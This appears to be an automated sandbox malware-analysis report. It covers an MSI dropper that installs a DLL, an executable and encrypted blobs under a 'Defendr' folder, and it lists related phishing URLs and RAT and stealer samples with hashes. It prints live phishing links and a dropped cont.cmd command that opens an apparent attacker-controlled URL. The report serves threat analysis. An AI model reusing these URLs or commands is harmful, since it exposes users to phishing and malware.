	https://sunnatbee.github.io/instagram.com	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
	http://help-s--metmeask--io-org.webflow.io/	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://p3.dailycontestportal.com/africa/cm/orange-letter-1/fr-1.php	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://pub-065c935349444a558a5e9b4dac1d6a16.r2.dev/index.html	Get hash	malicious	Unknown	Browse	173.222.162.64
	http://help-app-metamask-metaa.webflow.io/	Get hash	malicious	Unknown	Browse	173.222.162.64
	https://aditya-anand227.github.io/fb_login_replica/index.html	Get hash	malicious	HTMLPhisher	Browse	173.222.162.64
28a2c9bd18a11de089ef85a160da29e4	https://hU6Od.eschithym.com/a3LMa/#Mmarla.guillaume@nationalmi.com	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	https://u20321984.ct.sendgrid.net/ls/click?upn=u001.fMSdnDPwyZg8aQYrku4rkJbSTdbYAv-2FauBRdThCsGOmXIaK-2BLk8Ua513S-2BMu-2FBmhCk9NWdfbVaqs3xDSzufJANaLHYH0uxFPDAE5cm8b2MlspXZHjiOm-2BKpu-2Fy9Hy3KZMEwgj5ZdXsk9DhPWgXhivQ-3D-3Dh6E3_hDqK5-2FqkMaHofB46cg26-2FG2ADrhn0F-2Bv1o9g2b6m-2BukLOFGOYA6HwkTzfLZJtXWW64KPOJ7PhKrOCr7UXQRzJDDstp2Y83XLNk05736tBLXvsIM5GvaNogGaU0hS-2F5G5rfaLvaI3rVLwHqyhg9tac-2ByfNiZC4dRRCWsal-2F8dFl1y3vxYorbjyfaqAl0HIwmCygEhZ3SsjdBRdopw56Rz-2FQ-3D-3D	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	1.html	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://www.facebook.com/share/NeSJNTgi6uwSuafc/?mibextid=WC7FNe	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://drive.google.com/file/d/1qk4M6gC8HMvUrCnMW6Gm-43NKGrREvQO/view?usp=sharing	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	Myinfotechpartner.pdf	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	https://docusign.co1.qualtrics.com/jfe/form/SV_26sMhO8mj4NTNwW?Q_DL=j4ixO0QLhCGZ05c_26sMhO8mj4NTNwW_SGC_M0pmBFARRCH7nct&Q_CHL=email&c=E,1,i87ar3WT5YTb2I06Qel70_caUQF8DkMrsf9E3KUnhXBmdq-eRb01NAUOTNMMeKwTo36jtiMuC2FwgwEmB6vx1Z7kdfbkVIFFqKm51ODumA,,&typo=1&ancr_add=1	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	https://pub-7b8cca81dcf84958b8a0d1546cd93eb2.r2.dev/index.html	Get hash	malicious	Unknown	Browse	52.165.165.26 184.28.90.27
	http://kinganik6263.github.io/Login-page/	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
	http://bobur2014.github.io/instagram.com/	Get hash	malicious	HTMLPhisher	Browse	52.165.165.26 184.28.90.27
3b5074b1b5d032e5620f69f9f700ff0e	PasteHook.exe	Get hash	malicious	AsyncRAT, DCRat, StormKitty, WorldWind Stealer, Xmrig	Browse	40.113.103.199
	SecuriteInfo.com.Win32.PWSX-gen.30371.18943.exe	Get hash	malicious	AgentTesla	Browse	40.113.103.199
	https://drive.google.com/file/d/1qk4M6gC8HMvUrCnMW6Gm-43NKGrREvQO/view?usp=sharing	Get hash	malicious	Unknown	Browse	40.113.103.199
	x7myVfh5YS.exe	Get hash	malicious	PureLog Stealer, zgRAT	Browse	40.113.103.199
	rundll32.exe	Get hash	malicious	Unknown	Browse	40.113.103.199
	http://kinganik6263.github.io/Login-page/	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://pub-e9e611a560554869ac6fd846941f56dc.r2.dev/index.html	Get hash	malicious	Unknown	Browse	40.113.103.199
	https://sunnatbee.github.io/instagram.com/	Get hash	malicious	HTMLPhisher	Browse	40.113.103.199
	https://www16172.com/update	Get hash	malicious	Unknown	Browse	40.113.103.199
	http://help-s--metmeask--io-org.webflow.io/	Get hash	malicious	Unknown	Browse	40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe	documento_fiscal.msi	Get hash	malicious	Unknown	Browse
	HomeDesk.msi	Get hash	malicious	Unknown	Browse
	HomeDesk.msi	Get hash	malicious	Unknown	Browse
	AFATS317052024.msi	Get hash	malicious	Unknown	Browse
	z62DEBT3042024.msi	Get hash	malicious	Unknown	Browse
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse
	Pedido-Faturado-398731.msi	Get hash	malicious	Unknown	Browse
	Pedido-Faturado-39873.msi	Get hash	malicious	Unknown	Browse
	fatKCMAGKKH.msi	Get hash	malicious	Unknown	Browse
	danfe678478.msi	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Config.Msi\4fc2c5.rbs

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	modified
Size (bytes):	11735
Entropy (8bit):	5.238439458426001
Encrypted:	false
SSDEEP:	96:jcbAA906mzdl8o9FCjjmtDi61tO4tBOBww:jGf9RmX8ofCwifP
MD5:	357DB90EBC3905161674A87BEDC3E788
SHA1:	E2DEF9F60FDDA5706CC272CE6B881E4BEE14B372
SHA-256:	E2DC0FAB67D6F1D7E9A0C5CBB496A347CA95A38E3973875919766A9D0C7D9FF3
SHA-512:	B4879F6BEBD8555CF84B79A58E4E6DD501C34A19E23690AA70CFF38D5E7FED09FA2B6D3524C7D6CEB408E8F131FC8A6D45E029791337ED5998B8D73D0BC4E0B6
Malicious:	false
Reputation:	low
Preview:	...@IXOS.@.....@d..Y.@.....@.....@.....@.....@.....@......&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}..Aplicativo Windows$.APP-DANF0001S7D88002555555222S5S.msi.@.....@?....@.....@........&.{2710902A-DCAA-44B4-8B49-B1FC596E5C13}.....@.....@.....@.....@.......@.....@.....@.......@......Aplicativo Windows......Rollback..A.....o. .d.e. .r.e.s.t.a.u.r.a.....o.....RollbackCleanup..Removendo arquivos de backup..Arquivo: [1]....ProcessComponents%.Atualizando o registro de componentes..&.{60715A9F-4AEC-4D83-B87A-914CE6AF84AD}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.@......&.{232B65CE-07F2-4C09-8446-D0B152043BFA}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.@......&.{22B4B4EB-20D3-4CCD-A51F-EBD421917779}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.@......&.{3A6531DD-7594-4904-AAB9-32F10FD461DF}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.@......&.{4669957E-4874-4408-AF9D-19502B394F45}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.@......&.{587DB8FA-5E47-49FB-BA4E-9C8B8D4106FB}&.{7A2971C6-B41B-4A0D-A347-D721E39FEABC}.

C:\Users\user\AppData\Local\Temp\MSIfc16b.LOG

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	354724
Entropy (8bit):	3.8127278156605358
Encrypted:	false
SSDEEP:	3072:5jYtIFwdNd/KVTT8w/GHIrl/wGIwPKFBLKV8yCMRTUrEp167CvGSmwasAtGwZ6Ki:5jQj4
MD5:	B27347A9A5F753CF31CE45E777E21EAE
SHA1:	10DFDC57853D7DBFFBB13A38944FA1953E145A04
SHA-256:	8B97C261B9EBC0D0BE66CA32005754DC007952A7DA4603054C6A647CD2BB467E
SHA-512:	BEDE1CFED9ABF429F33EDAD385FB9F37CF86CC71B2CBF18C78F31C72F8D0239975B67F765AED6D8C85702D2E65A10AA19CB98BCFFD6B9FBC0BAFBFDA371CECA7
Malicious:	false
Preview:	..=.=.=. .V.e.r.b.o.s.e. .l.o.g.g.i.n.g. .s.t.a.r.t.e.d.:. .0.5./.0.8./.2.0.2.4. . .0.2.:.1.9.:.0.5. . .B.u.i.l.d. .t.y.p.e.:. .S.H.I.P. .U.N.I.C.O.D.E. .5...0.0...1.0.0.1.1...0.0. . .C.a.l.l.i.n.g. .p.r.o.c.e.s.s.:. .C.:.\.W.i.n.d.o.w.s.\.S.y.s.t.e.m.3.2.\.m.s.i.e.x.e.c...e.x.e. .=.=.=.....M.S.I. .(.c.). .(.2.8.:.A.4.). .[.0.2.:.1.9.:.0.5.:.4.6.4.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.2.8.:.A.4.). .[.0.2.:.1.9.:.0.5.:.4.6.4.].:. .F.o.n.t. .c.r.e.a.t.e.d... . .C.h.a.r.s.e.t.:. .R.e.q.=.0.,. .R.e.t.=.0.,. .F.o.n.t.:. .R.e.q.=.M.S. .S.h.e.l.l. .D.l.g.,. .R.e.t.=.M.S. .S.h.e.l.l. .D.l.g.......M.S.I. .(.c.). .(.2.8.:.3.C.). .[.0.2.:.1.9.:.0.5.:.4.9.6.].:. .R.e.s.e.t.t.i.n.g. .c.a.c.h.e.d. .p.o.l.i.c.y. .v.a.l.u.e.s.....M.S.I. .(.c.). .(.2.8.:.3.C.). .[.0.2.:.1.9.:.0.5.:.4.9.6.].:. .M.a.c.h.i.n.e. .p.o.l.i.c.y. .v.a.l.u.e. .'.D.e.b.u.g.'. .i.s. .

C:\Users\user\AppData\Roaming\Defendr\AGLoader.dll

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11540992
Entropy (8bit):	7.93960577629246
Encrypted:	false
SSDEEP:	196608:NNE1Ilstm8vvFaWreRmf5/5E5oq+kyV19DRbI7krIK9j7CM44TTv3SRdz5SNqnX9:Na1IlsFHFfr/5/mHZGykrZOMHSRVMNe9
MD5:	CAA2951A6AE0352A91817A4088083C58
SHA1:	93368B7BEE6C4BBF080D72749FBEBE0AB8C1C426
SHA-256:	7E30E513380084321CB20013D263303D91AE749245AA18784EBF43C217F402C7
SHA-512:	89C44E869B51C3FA77FBC6BE610CBFF49D8C01AFE94AFC05439DBB98342FE2DD49AD60A7743F38170A6568AE24EE8A3C410D3D5573CFAC4FC20CDE28841D7D72
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 16% Antivirus: Virustotal, Detection: 23%, Browse
Preview:	MZP.....................@...............................................!..L.!..This program must be run under Win32..$7........PE..L....TNf...........!................\u............@..........................."...........@.........................4...........d.............................".......................................................r.$...l........................text...@........................... ..`.itext..8........................... ..`.data....P..........................@....bss.....i...p...........................idata..(...........................@....didata.............................@....edata..............................@..@.rdata..E...........................@..@.?e?.....jc.. ...................... ..`.fbk....<.....r.....................@....vf,..........r..................... ..`.reloc........".....................@..B....................................................................................@..@........................................................

C:\Users\user\AppData\Roaming\Defendr\LKdayanJELT9QDD900055.exe

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	295944
Entropy (8bit):	6.59442664366273
Encrypted:	false
SSDEEP:	6144:slR5gD9yOvDIxyVQN8cnqDt+T1MLFUM8O:sRgD9iGQyFET1MLD8O
MD5:	EB67273C54E78DB4FAFFAB9001148753
SHA1:	0E6CAB2FDF666E53C994718477068E51B656E078
SHA-256:	7FA7499C7A72041D7D0FB1E4659466AD8D428080A176FA16276FD60ADC9DA0FD
SHA-512:	8FCAE871423C03850787CDC62F9E2555B054A8480772003FBFA5799AE7359C438D9F64C95592D265328909863FD000D6CDB4B34A6A8810045BC4029F23F6BD07
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: ReversingLabs, Detection: 47% Antivirus: Virustotal, Detection: 62%, Browse
Joe Sandbox View:	Filename: documento_fiscal.msi, Detection: malicious, Browse Filename: HomeDesk.msi, Detection: malicious, Browse Filename: HomeDesk.msi, Detection: malicious, Browse Filename: AFATS317052024.msi, Detection: malicious, Browse Filename: z62DEBT3042024.msi, Detection: malicious, Browse Filename: Pedido-Faturado-398731.msi, Detection: malicious, Browse Filename: Pedido-Faturado-398731.msi, Detection: malicious, Browse Filename: Pedido-Faturado-39873.msi, Detection: malicious, Browse Filename: fatKCMAGKKH.msi, Detection: malicious, Browse Filename: danfe678478.msi, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4)..UG.UG.UG....UG.....UG....uUG.e...UG.UF..UG....UG....UG....UG....UG.Rich.UG.........................PE..L.....GX.................L...<......%P.......`....@.................................q.....@.............................k.......d....................f..................................................@............`..x............................text....J.......L.................. ..`.rdata.......`.......P..............@..@.data....G...0..."..................@....rsrc................4..............@..@.reloc...........0...6..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Defendr\cont.cmd

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	65
Entropy (8bit):	4.131446806557921
Encrypted:	false
SSDEEP:	3:jhR0ALqKWXtivJ3yVY1QVn:jH5u3s3yVY1QV
MD5:	105214FC8487401F02DD66B0DA7FCCC2
SHA1:	582B979B623E750C3F229D9CA17C325F90937D57
SHA-256:	945550E60607B92BAA09A7312470C80D9DA8B3FC1D4EC6244E480E67935E3327
SHA-512:	5391FDB63E726CBCAC65024C05ACD678B36196CC5A8C48C15CACD87A155D0C7CF616193984E5AE47C3520E8785CCDEF380D8A76A13B08ECCC15C54FF39BCD1BE
Malicious:	false
Preview:	Start http://senhordos-infects.digital/clientes/inspecionando.php

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	103983
Entropy (8bit):	7.998338521209024
Encrypted:	true
SSDEEP:	1536:BW6uIWYmeDQymkE1pdtZtudaj7guiIOWUWeIIYUda3GsG6+7Alf1:o2WYLDKv9tZkdwiIOdcIv2R/+7A91
MD5:	F3E2E17C9D9D0A2A617D5191C52B2A46
SHA1:	A8C71D1726E88CB212D5CAF85F22161889425CD5
SHA-256:	68D812F6F5332E25299A988317E00E232E77C976E1325DD482D199E14B4C0A94
SHA-512:	ACA15110ABC4C6EC68D77530EC7AD28C52C251B93D8BE8AF7DA5D3D837B446D28D783D47F726B9F1BD6412E950379FDDC5457BA6E642D65C20971F89425E68F1
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	72670
Entropy (8bit):	7.997561227399474
Encrypted:	true
SSDEEP:	1536:BW6dODTVkPr4Aqr6l32rDHIGJrM0lEbCze4lL7p:ofcks2rcu5Kbye4z
MD5:	A1273F0C3285077283ACECA12E6441CF
SHA1:	D0A3059C109592E207C2A959D7006E66D16079AD
SHA-256:	6018FC0C419711176481E092C6268198EC4AF0979FA020A41F7317589D720592
SHA-512:	245579D00432D1A96A463F262DA6706E48FF7B810454C7806832CA964125733D0330213AEE36503EB4224D60DD42419E14F5B2566E8BC50362ABA18FFE31CCA4
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv0.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	79550
Entropy (8bit):	7.997580721217276
Encrypted:	true
SSDEEP:	1536:TKj2za98A5BSKR2yhF074MeSHuhdefgHXQS+eayU:Gj2W2A07teWqQfagYU
MD5:	33D4E72700DE06616773F322FFEADE23
SHA1:	DFB9AF6B852B7C75861AB231524626539EFE98EC
SHA-256:	15FAF32B447CF64F47117812ADDCC5EE4A9E654F062508A14E745E4A4A8D82AF
SHA-512:	A07DD5836A03BD50FD1F3A35FBFE2693A1EF12B1AC49FAFD3FA5DB42FEA0CA4D96B3306C5F78DB6014E924364805D852A4CE61ED7B438759C8D76410AEF24EBE
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;...j@{..`..9.<(...../x...6.Z.......'.9...5....z.v.gJ..Yq.+.._..4.3.....X..(VPV..{......R"x...00. y7.P.R.[2..!...+...ZY...V.....M.f......\S..B...bz..s...f.4gc....H..O.G...9,.........A.l.....=m.:.'.Mt..c....9..5...'..U@^.gC.9.@M=...y..h..%..n)n.!.j.V..Wx.y@W...}}.T..>}.......f..2e%:X....#..0.k.."g.>,.`.....Gi.I.....b..?...h.N.+..6~Jz... A}..c......;Y..A...M..q)Y.A...."q..'.......?....o.o...;T.k.%R.j._..$....<9t...".7.....F5`.l.......@.@a#....ixDh.F.;........2.&f..c7........p..`.$.Pd+.w...;..)t.N...B...^n..K..:NL.ot.)".DZ...j'O.L\|..^....~N]@.O..-0..z...T.i.rr.M.v9j..s.......N..\|q).+....f.TV..j....z.....t......0.......w.y........f.S[E.[!..@..Q..w...c.j.~.Oa..0...Ci...jLT3:g.Oq^...+.........7......2..Bh./B..7.....k.F...L...S.....w.@$.....5.d...g\|.h:_g...t.8p..u.....>..+.]i..f..Z..d...,.(.h3.q.....2L.N.W....5$k[.....V.P@.M=...Q....h..'F.oDL>vpCWU.]JkJ...lc.KVC..).`L..mg............:.\|..4...D.:J.bZ.wO...64....ZIg...-O

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	90741
Entropy (8bit):	7.99772780022569
Encrypted:	true
SSDEEP:	1536:BW68pTu/DzylC/KrWuo2kqy/31NftiQZs/Ye4Y0oD65WxEw9HNDE7:oJpTQz6C/KKpz58Ks/f44G5WxEIJy
MD5:	31BE227EBD00EB32E0D97C03547953AA
SHA1:	29B9357D45D7B9417E8D701562DF4ECF029AA235
SHA-256:	2ABD44444B428A8438980C23290653818567A1C52A6F6E28CD582F02ED7A1997
SHA-512:	8962F0F3D09CE5FCEC54C4C311593A53BF8C5510E9558D1D2AA17539F55CD9362DD44FEBAFDE2FA9FA2DF92FFC7FBB4AACC54971829ECE6F0A368E237D59F5FD
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.2.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	23014
Entropy (8bit):	7.993330995993904
Encrypted:	true
SSDEEP:	384:BW6Npc2cLZYGT+bJP89WYiJJbfSvNUUi9++4qEiEyJ8B0ih/n2:BW6Npchus+bJP8wLf7U8F2iR40Y/n2
MD5:	3F07A14138725B4FEA87018778E99C9D
SHA1:	E9476B1F97D68E4B041CE45B3AC8B367FDA9AE73
SHA-256:	884AF08E980F32A5D857AEF65E94D692CC5179F0298151CB3EEE28307D5294C3
SHA-512:	5621FB39A236BB634E8E2C99237592532B914DC532D23922410615FA7D4D41B7A8452AB2BA318DEF99910FF72C9BF212BE463EB0C34D91DF85900F37136C059E
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv1.3.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	64412
Entropy (8bit):	7.997009584668567
Encrypted:	true
SSDEEP:	1536:BW6+yg8Lks0LNMax67S2fSMxkTo+Oh/GFjlC1f4CO8RkY7H2JUkgGiXPwbj4:op8gsg5xYS2q9TzOHOCO8RNH2JUPGiXx
MD5:	C5A27652BFEF12D580F8C7D9278BFB56
SHA1:	B8FA94A092969B00A2CA49AADE501F86C7D05124
SHA-256:	84239C96D1A3EEA8F4A1131EE859C70863D2D2FF981DB955A204D06FB3E399F9
SHA-512:	93485D1AAFFD03E2B9BDF8AC519B4A1B2F9504B7DECE5A72E93BD78D7C1EAF287D347D6B0088CB665395B2099C9DE8285444986DAF6955C984B4BD0447679C99
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv10.0.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	53999
Entropy (8bit):	7.996770426163462
Encrypted:	true
SSDEEP:	1536:BW6XYLT5F0YEIefnYXpZZ878ZUqvsLj+LCGHiGP:o1H5JEIefIp7U8V0Lj+LCA
MD5:	21A9EE4A323D30EBF01E909E0D2458DD
SHA1:	B1FF6EF537D741A21DE4C9940711E5403CB95154
SHA-256:	84FF014DDE709723B41574356866AE44A9C31FBE172719091AF2F7C211F515C5
SHA-512:	8376BE074DDCCD81B0B512F45D22C96D4DF2CB2BC28051977B489784E9A96BE195BC451BA34D010EC006817843525090B99323B2FA171396E0554F5752F15A47
Malicious:	false
Preview:	.#D...e..,...!G...A..I....;.9...UK.......b.z.m.iG.}..a....k..@:g...f...."...s.@].3$..h....J......Qc.F...3.>r..P...(2..5....ERA.....G.eK.?..]...M....]......h...b..8i.ZJ.4..H..[.....ji.I.6"........P...j.~.-.......E.[....'..Y.)Q=..D..wX....v.2.JW.....0..p.d..cZ.........7.-\|0.......C....3..#1...R.........d+>{...x!OT..du.Y.r.H....^...W.....s.)......t...U.kJ...;.7k...th."....~O...[.C.. 2[...j^.....y.........4..0;..0.7..C.?.......W.n'.X.[.on.....o'.._..(.'....n.........#.g.wh('.R.!........tcCq...Z...9.7...!-gP.c.m8i.>N.O.p.P..#I".zH....5.@.F..(............._..t.2.C...b]-. ..,$NR.\|%4..Q.m.....U#F.P....e..)=..4...,..M.X.\.1.a...'.>.,h..r..i...4.)....\|.....=.....z.{6.....8.p:LZq}n.%.M.y...\|2.m~.E..j9..e..8.....14.....1.z.$.....gs..."..>.j.....n........4.&\..Y....5MQ..].:t.`=D=%qh..xZ4_._sKz.N....o.0..g..r.z.y.G.......L..A.....J..a..!G...\|nC....),...M..a.....L......Y.....@\.Gu.~>...@ ...\|R.9..Z&V.4....LYo/.I...]..h..I;...1...l."y._<......hx...e.LP.Mbi..

C:\Users\user\AppData\Roaming\Defendr\iframe\rolloutfile.tv10.1.tv

Download File

Process:	C:\Windows\System32\msiexec.exe
File Type:	data
Category:	dropped
Size (bytes):	32176
Entropy (8bit):	7.995349694654279
Encrypted:	true
SSDEEP:	768:BW6N0QSaME0UDtQrJ06y1AdWkYnAC67Ho77gDtUcJydY7AxG8OGY1kbJ7:BW6PSaMc5Qr+Oul77gpUckoOOBCbB
MD5:	0F47D734176C343CF3FBE700D08D0062
SHA1:	5D33092BE18F4EA93B82B852B806436AB9AAE103
SHA-256:	61D82DE1D9F5DF0B5F96C7F4E1CB249E3A41A49A3225FA2C58E781E0AA8AC351
SHA-512:	CB602DAAD0CC177BAA032389842F9D47D4D3085363875FAD9947FC735E8DD883C558EB35F4C944B340A25A3F15768FF3084ACB3622224516DA3D046E0E6ADE68
Malicious:	false
